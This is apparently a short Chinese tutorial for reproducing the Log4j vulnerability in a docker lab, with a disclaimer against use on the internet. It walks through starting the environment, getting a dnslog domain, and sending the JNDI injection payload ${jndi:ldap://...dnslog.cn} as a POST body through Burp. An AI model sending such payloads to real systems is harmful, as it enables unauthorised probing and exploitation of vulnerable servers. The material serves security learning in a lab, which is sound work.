作者严正声明!!!
作者严正声明!!!
作者严正声明!!!
【**********************************************************************************
以下环境是docker搭建的靶场学习环境,禁止在互联网中操作,若在互联网中操作导致的后果与作者无关,
************************************************************************************]
部署log4j环境
拉取镜像,并开启漏洞环境
docker-compose up -d
查看是否可正常访问部署环境
登录www.dnslog.com
获取一个dnslog解析域名
构造payload=${jndi:ldap://qwlsyd.dnslog.cn}
抓取环境中的数据包,传输数据的数据包,将其用bp修改为post请求,将请求正文数据修改为payload,发送数据包。